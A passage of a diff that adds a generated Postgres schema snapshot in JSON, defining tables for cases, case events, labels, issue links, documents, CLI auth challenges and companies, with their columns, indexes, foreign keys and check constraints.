+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_asset_id_assets_id_fk": {
+          "name": "case_attachments_asset_id_assets_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_documents": {
+      "name": "case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_documents_company_case_key_uq": {
+          "name": "case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_document_uq": {
+          "name": "case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_company_case_updated_idx": {
+          "name": "case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_documents_company_id_companies_id_fk": {
+          "name": "case_documents_company_id_companies_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_case_id_cases_id_fk": {
+          "name": "case_documents_case_id_cases_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_document_id_documents_id_fk": {
+          "name": "case_documents_document_id_documents_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_events": {
+      "name": "case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_events_case_created_idx": {
+          "name": "case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_events_company_case_idx": {
+          "name": "case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_events_company_id_companies_id_fk": {
+          "name": "case_events_company_id_companies_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_case_id_cases_id_fk": {
+          "name": "case_events_case_id_cases_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_actor_agent_id_agents_id_fk": {
+          "name": "case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_events_kind_check": {
+          "name": "case_events_kind_check",
+          "value": "\"case_events\".\"kind\" in (\n        'created',\n        'updated',\n        'fields_changed',\n        'status_changed',\n        'issue_linked',\n        'issue_unlinked',\n        'document_revised',\n        'child_linked',\n        'attachment_added',\n        'label_added',\n        'label_removed'\n      )"
+        },
+        "case_events_actor_type_check": {
+          "name": "case_events_actor_type_check",
+          "value": "\"case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_issue_links": {
+      "name": "case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_issue_links_case_issue_uq": {
+          "name": "case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_company_case_idx": {
+          "name": "case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_issue_idx": {
+          "name": "case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_issue_links_company_id_companies_id_fk": {
+          "name": "case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_case_id_cases_id_fk": {
+          "name": "case_issue_links_case_id_cases_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_issue_id_issues_id_fk": {
+          "name": "case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_issue_links_role_check": {
+          "name": "case_issue_links_role_check",
+          "value": "\"case_issue_links\".\"role\" in ('origin', 'work', 'reference')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_labels": {
+      "name": "case_labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_labels_case_label_uq": {
+          "name": "case_labels_case_label_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_company_case_idx": {
+          "name": "case_labels_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_label_idx": {
+          "name": "case_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_labels_company_id_companies_id_fk": {
+          "name": "case_labels_company_id_companies_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_case_id_cases_id_fk": {
+          "name": "case_labels_case_id_cases_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_label_id_labels_id_fk": {
+          "name": "case_labels_label_id_labels_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cases": {
+      "name": "cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_number": {
+          "name": "case_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_type": {
+          "name": "case_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cases_company_case_number_uq": {
+          "name": "cases_company_case_number_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_identifier_uq": {
+          "name": "cases_identifier_uq",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_key_uq": {
+          "name": "cases_company_type_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_status_idx": {
+          "name": "cases_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_idx": {
+          "name": "cases_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_project_idx": {
+          "name": "cases_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_parent_idx": {
+          "name": "cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_title_search_idx": {
+          "name": "cases_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_identifier_search_idx": {
+          "name": "cases_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_summary_search_idx": {
+          "name": "cases_summary_search_idx",
+          "columns": [
+            {
+              "expression": "summary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cases_company_id_companies_id_fk": {
+          "name": "cases_company_id_companies_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "cases_project_id_projects_id_fk": {
+          "name": "cases_project_id_projects_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_parent_case_id_cases_id_fk": {
+          "name": "cases_parent_case_id_cases_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_created_by_agent_id_agents_id_fk": {
+          "name": "cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "cases_status_check": {
+          "name": "cases_status_check",
+          "value": "\"cases\".\"status\" in ('draft', 'in_progress', 'in_review', 'approved', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.cli_auth_challenges": {
+      "name": "cli_auth_challenges",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_hash": {
+          "name": "secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_access": {
+          "name": "requested_access",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'board'"
+        },
+        "requested_company_id": {
+          "name": "requested_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pending_key_hash": {
+          "name": "pending_key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pending_key_name": {
+          "name": "pending_key_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "board_api_key_id": {
+          "name": "board_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cli_auth_challenges_secret_hash_idx": {
+          "name": "cli_auth_challenges_secret_hash_idx",
+          "columns": [
+            {
+              "expression": "secret_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_approved_by_idx": {
+          "name": "cli_auth_challenges_approved_by_idx",
+          "columns": [
+            {
+              "expression": "approved_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_requested_company_idx": {
+          "name": "cli_auth_challenges_requested_company_idx",
+          "columns": [
+            {
+              "expression": "requested_company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cli_auth_challenges_requested_company_id_companies_id_fk": {
+          "name": "cli_auth_challenges_requested_company_id_companies_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "requested_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_approved_by_user_id_user_id_fk": {
+          "name": "cli_auth_challenges_approved_by_user_id_user_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "user",
+          "columnsFrom": [
+            "approved_by_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk": {
+          "name": "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "board_api_keys",
+          "columnsFrom": [
+            "board_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.companies": {
+      "name": "companies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_prefix": {
+          "name": "issue_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'PAP'"
+        },
+        "issue_counter": {
+          "name": "issue_counter",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "attachment_max_bytes": {
+          "name": "attachment_max_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 10485760
+        },
+        "default_responsible_user_id": {
+          "name": "default_responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "require_board_approval_for_new_agents": {
+          "name": "require_board_approval_for_new_agents",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interaction_resolver_governance": {
+          "name": "interaction_resolver_governance",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "feedback_data_sharing_enabled": {
+          "name": "feedback_data_sharing_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "feedback_data_sharing_consent_at": {
+          "name": "feedback_data_sharing_consent_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_consent_by_user_id": {
+          "name": "feedback_data_sharing_consent_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_terms_version": {
+          "name": "feedback_data_sharing_terms_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "brand_color": {
+          "name": "brand_color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "companies_issue_prefix_idx": {
+          "name": "companies_issue_prefix_idx",
+          "columns": [
+            {
+              "expression": "issue_prefix",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_logos": {
+      "name": "company_logos",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
